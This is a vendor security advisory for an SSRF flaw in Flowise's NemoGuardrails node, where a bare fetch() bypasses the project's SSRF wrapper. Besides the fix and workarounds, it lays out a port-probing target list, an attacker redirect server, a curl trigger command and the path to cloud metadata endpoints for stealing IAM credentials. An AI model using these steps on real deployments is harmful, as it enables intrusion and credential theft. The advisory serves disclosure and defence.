One fetch() Outside the Safe Wrapper: SSRF in Flowise’s NemoGuardrails Node
Flowise built a comprehensive SSRF protection module — DNS pre-resolution, private-IP blocking, redirect-chain validation — and applied it consistently across its codebase. The ChatNemoGuardrails node makes its outbound HTTP call with bare fetch(). One authenticated user, one crafted baseUrl, full access to internal network resources and cloud metadata. GHSA-hr6j-wm6h-v727 | Moderate.
| Date | June 27, 2026 |
| CVE | Pending assignment |
| Advisory | GHSA-hr6j-wm6h-v727 ↗ |
| Package | flowise, flowise-components (npm) |
| Affected | ≤ 3.1.3 |
| Fixed in | Fix merged, release pending |
| Severity | Moderate |
| Type | Server-Side Request Forgery (CWE-918) |
| Auth | Chatflow creation or edit permissions |
| Found by | Kira, Offgrid Security (infycore) |
Kira was pointed at the Flowise repository. It read the codebase, found the SSRF protection module, traced every outbound HTTP call to check which ones used it and which ones did not, and found that NemoClient.ts was the exception. Everything else in the codebase routes outbound requests through a hardened wrapper. This one node calls bare fetch() with a URL it takes directly from user input.
The pattern is familiar: a team builds good security infrastructure, applies it carefully to the features they’re working on at the time, and leaves a residue of older or newer components that weren’t part of the original scope. Finding that residue requires explicitly auditing every outbound HTTP call against the set of protected callers. It’s the kind of cross-file check that doesn’t happen in a normal code review.
What Flowise Built
Flowise maintains a dedicated SSRF protection module at packages/components/src/httpSecurity.ts. It exposes two drop-in replacements for standard HTTP clients: secureAxiosRequest() and secureFetch(). What they do:
- DNS pre-resolution. Before opening a connection, the hostname is resolved to an IP address and that IP is validated against a blocklist of private and reserved ranges.
- Private-IP blocking. RFC 1918 ranges (
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16), loopback, and link-local addresses (169.254.0.0/16, which includes cloud IMDS) are all blocked. - Redirect-chain validation. Every hop in a redirect chain is validated against the same blocklist before following. A
302redirect tohttp://169.254.169.254/is caught and rejected. - IP pinning. The connection is pinned to the pre-resolved IP to prevent TOCTOU DNS rebinding attacks: a hostname cannot be resolved to a safe IP for the pre-check and then resolve to a private IP at connection time.
This is thorough, well-implemented protection. It is used throughout the Flowise codebase for components that make outbound HTTP calls to user-influenced URLs: tool nodes, API integrations, webhook handlers.
The NemoGuardrails component does not use it.
The Vulnerable Code
The ChatNemoGuardrails component wraps NVIDIA’s NeMo Guardrails service, which runs as a separate HTTP server. The component takes a baseUrl field from the user, stores it in the node configuration, and passes it to NemoClient.
In ChatNemoGuardrails.ts, the init() method reads the URL directly from node input with no validation:
// packages/components/nodes/chatmodels/ChatNemoGuardrails/ChatNemoGuardrails.ts
async init(nodeData: INodeData): Promise<any> {
const baseUrl = nodeData.inputs?.baseUrl // raw user-controlled string
const obj: Partial<ChatNemoGuardrailsInput> = {
configurationId: configurationId,
baseUrl: baseUrl // passed through unchanged
}
const model = new ChatNemoGuardrailsModel({ id: nodeData.id, fields: obj })
// ...
The input is declared as type: 'string', optional: false. No pattern attribute, no allowlist, no server-side validation beyond requiring the field to be present.
In NemoClient.ts, the URL reaches the HTTP sink unchanged:
// packages/components/nodes/chatmodels/ChatNemoGuardrails/NemoClient.ts, line 66
return await fetch(`${this.config.baseUrl}/v1/chat/completions`, requestOptions)
// ^^^^ bare fetch() — bypasses all SSRF controls in httpSecurity.ts
fetch( with secureFetch( from the existing httpSecurity.ts module. No new security logic is required; the infrastructure already exists.Two Attack Paths
Path 1 — Internal network enumeration
An authenticated user creates or edits a chatflow, adds a NemoGuardrails node, and sets baseUrl to an internal address. When a prediction is triggered, the Flowise server attempts:
POST http://<internal-host>:<port>/v1/chat/completions
The error response observable via the chatflow API distinguishes port states with precision:
| Observed behaviour | Interpretation |
|---|---|
| Connection timeout | Port filtered; no response from host |
| Connection refused | Port closed; TCP RST received |
| HTTP response (any status) | Port open; HTTP service present |
| HTTP 404 / 405 | Port open; wrong path or method for this service |
Useful internal targets:
http://10.0.0.1:6379 # Redis — unauthenticated access in many deployments
http://10.0.0.1:5432 # PostgreSQL
http://10.0.0.1:27017 # MongoDB
http://192.168.1.1:80 # Internal admin interface
http://localhost:11434 # Ollama API (common in Flowise deployments)
http://localhost:8080 # Internal services
Each register-and-trigger cycle maps one port. Building a service map of the Flowise server’s internal network requires only an authenticated account and patience.
Path 2 — Cloud credential exfiltration via redirect chain
Node’s built-in fetch() follows HTTP redirects automatically. It does not re-validate the destination URL at each hop. An attacker can exploit this to reach cloud instance metadata services that would otherwise be inaccessible from the public internet.
Setup: Stand up any HTTP server controlled by the attacker that returns:
HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/
Attack sequence:
# Step 1: Create a chatflow with a NemoGuardrails node.
# Set baseUrl to the attacker-controlled redirect server.
# Step 2: Trigger a prediction.
curl -X POST https://flowise.target.com/api/v1/prediction/<chatflow-id> \
-H "Content-Type: application/json" \
-d '{"question": "hello"}'
# What happens on the Flowise server:
# 1. POST http://ssrf.attacker.com/v1/chat/completions
# 2. ← HTTP 302, Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 3. GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 4. ← HTTP 200, body: IAM role name
# 5. GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# 6. ← HTTP 200, body: AccessKeyId, SecretAccessKey, Token
The credentials appear in the error or response body surfaced to the attacker via the chatflow API. The same technique applies to other cloud metadata endpoints:
| Cloud | Metadata endpoint | Data exposed |
|---|---|---|
| AWS EC2 | 169.254.169.254/latest/meta-data/iam/security-credentials/ | IAM role credentials (AccessKeyId, SecretAccessKey, Token) |
| GCP | metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token | OAuth2 access token for the service account |
| Azure | 169.254.169.254/metadata/identity/oauth2/token | Managed identity access token |
On a cloud-hosted Flowise deployment with IMDSv1 enabled, Path 2 produces temporary cloud credentials with the permissions of the Flowise host’s IAM role. If that role has broad permissions — common in single-tenant deployments — the blast radius extends well beyond Flowise itself.
Why the Safe Wrapper Wasn’t Used
This is the part worth understanding for anyone maintaining a codebase with security-sensitive infrastructure.
The Flowise team clearly thought about SSRF. They built httpSecurity.ts, which is good engineering. They applied it consistently to the components they were working on when the module was introduced. The NemoGuardrails component is a newer addition to the ecosystem, added to support NVIDIA’s guardrails service. It’s plausible that the component was written without awareness of the SSRF protection module, or that the module was added after this component was already in place, or simply that the review process didn’t catch the callsite.
None of these explanations involve negligence. They are the normal mechanics by which security controls have gaps. A codebase-wide audit that enumerates every outbound HTTP call and checks whether it routes through the secure wrapper would have caught this. That audit doesn’t happen automatically, and it’s the kind of thing that has to be run explicitly and periodically rather than assumed from a one-time review.
Kira found it by reading both sides: the places where secureFetch() was used, and the places where outbound HTTP calls happened without it. The delta was one callsite. That callsite was NemoClient.ts.
CVSS Breakdown
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network | Chatflow API accessible remotely |
| Attack Complexity | Low | Set baseUrl, trigger prediction, read error |
| Privileges Required | Low | Chatflow creation or edit permissions (any non-guest user) |
| User Interaction | None | Fully attacker-driven once authenticated |
| Scope | Changed | Reaches internal network from Flowise server’s perspective |
| Confidentiality | Low to High | Port state and errors (low); cloud credentials via redirect chain (high) |
| Integrity | Low | POST requests reachable against internal services |
| Availability | None | No denial of service impact |
The Moderate classification reflects the authentication requirement. Exploitation requires an account with chatflow creation or edit permissions. In a single-user or trusted-team deployment that may be an acceptable risk posture; in a multi-tenant Flowise deployment or a SaaS environment where non-admin users can create chatflows, any authenticated user is a potential attacker.
Workarounds
No patched release is available as of this writing. The Flowise team confirmed the finding, and a fix has been merged into the main branch. Until a patched release ships:
- Restrict chatflow creation and edit permissions. The attack requires an authenticated user who can create or modify chatflows. Limiting this permission to a small set of trusted administrators reduces the attack surface to the population of users who already have significant trust.
- Deploy an egress firewall. Block outbound connections from the Flowise host to RFC 1918 ranges (
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16), loopback, and link-local addresses (169.254.0.0/16). This prevents the SSRF from reaching internal network resources or cloud metadata services regardless of what URL is supplied. - Enable IMDSv2 on cloud instances. IMDSv2 requires a session-oriented PUT request with a specific header before returning credentials. A simple
302redirect to the IMDS endpoint cannot satisfy this requirement, which defeats Path 2. Enabling IMDSv2 is a worthwhile hardening step regardless of Flowise. - Monitor egress traffic from the Flowise host. Connections from the application host to internal network ranges or to
169.254.x.xaddresses are anomalous and should be alerting.
NemoClient.ts fix. The patch replaces the bare fetch() call with secureFetch() from httpSecurity.ts, applying all existing SSRF protections to NemoGuardrails outbound requests. No configuration change is required after upgrading.
The Fix
For reference: the complete fix is a one-line change in NemoClient.ts and a corresponding import statement.
// packages/components/nodes/chatmodels/ChatNemoGuardrails/NemoClient.ts
+ import { secureFetch } from '../../../src/httpSecurity'
// Line 66 — before:
- return await fetch(`${this.config.baseUrl}/v1/chat/completions`, requestOptions)
// After:
+ return await secureFetch(`${this.config.baseUrl}/v1/chat/completions`, requestOptions)
secureFetch() is a drop-in replacement for fetch() with the same interface. It handles DNS resolution, private-IP blocking, redirect-chain validation, and IP pinning internally. The caller does not need to change anything else.
Key takeaways
- Security infrastructure only protects the callsites that use it. A well-built SSRF protection module, consistently applied, still leaves a gap if one component is added or modified without being wired to it. Finding those gaps requires an audit of every outbound HTTP callsite, not just the ones touched in recent commits.
- Redirect chains are the SSRF escalation path on cloud infrastructure. Without redirect-chain validation, a safe-looking URL can redirect to
169.254.169.254and exfiltrate IAM credentials. This is the difference between a medium-severity port scanner and a high-impact cloud compromise path. - Enable IMDSv2. It is the single most effective mitigation against cloud IMDS exfiltration via SSRF. It costs nothing and stops redirect-chain SSRF against AWS metadata cold.
- Restrict chatflow permissions until the patch ships. The vulnerability requires an authenticated account with chatflow creation or edit rights. Reducing that population to trusted administrators limits exposure.
References
- Full advisory: GHSA-hr6j-wm6h-v727 ↗
- Vulnerable file:
packages/components/nodes/chatmodels/ChatNemoGuardrails/NemoClient.ts, line 66 - Existing SSRF protection (not applied here):
packages/components/src/httpSecurity.ts - CWE-918: Server-Side Request Forgery
- OWASP API Security 2023, API7:2023 Server Side Request Forgery
See what Kira finds in your stack.
Kira runs autonomously on your codebase and delivers verified, exploitable findings with proof. Not alerts. Not maybes.